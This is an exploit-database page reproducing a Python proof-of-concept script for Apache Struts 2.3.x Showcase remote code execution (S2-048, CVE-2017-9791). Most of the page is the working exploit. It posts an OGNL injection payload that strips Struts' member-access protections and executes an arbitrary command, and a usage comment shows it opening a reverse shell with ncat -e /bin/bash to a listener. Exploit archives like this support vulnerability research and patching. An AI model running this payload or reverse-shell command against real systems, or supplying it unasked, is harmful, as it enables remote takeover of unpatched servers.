Lucene search
K

Apache Struts 2.3.x Showcase Remote Code Execution

🗓️ 14 Jul 2017 00:00:00Reported by Vex WooType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 99 Views

Apache Struts 2.3.x Showcase Remote Code Execution demo for CVE-2017-979

Related
Code
`#!/usr/bin/python  
# -*- coding: utf-8 -*-  
  
# Just a demo for CVE-2017-9791  
  
  
import requests  
  
  
def exploit(url, cmd):  
print("[+] command: %s" % cmd)  
  
payload = "%{"  
payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."  
payload += "(#_memberAccess?(#_memberAccess=#dm):"  
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."  
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."  
payload += "(#ognlUtil.getExcludedPackageNames().clear())."  
payload += "(#ognlUtil.getExcludedClasses().clear())."  
payload += "(#context.setMemberAccess(#dm))))."  
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd  
payload += "}"  
  
data = {  
"name": payload,  
"age": 20,  
"__checkbox_bustedBefore": "true",  
"description": 1  
}  
  
headers = {  
'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'  
}  
requests.post(url, data=data, headers=headers)  
  
  
if __name__ == '__main__':  
import sys  
  
if len(sys.argv) != 3:  
print("python %s <url> <cmd>" % sys.argv[0])  
sys.exit(0)  
  
print('[*] exploit Apache Struts2 S2-048')  
url = sys.argv[1]  
cmd = sys.argv[2]  
  
exploit(url, cmd)  
  
# $ ncat -v -l -p 4444 &  
# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2017 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.94127
99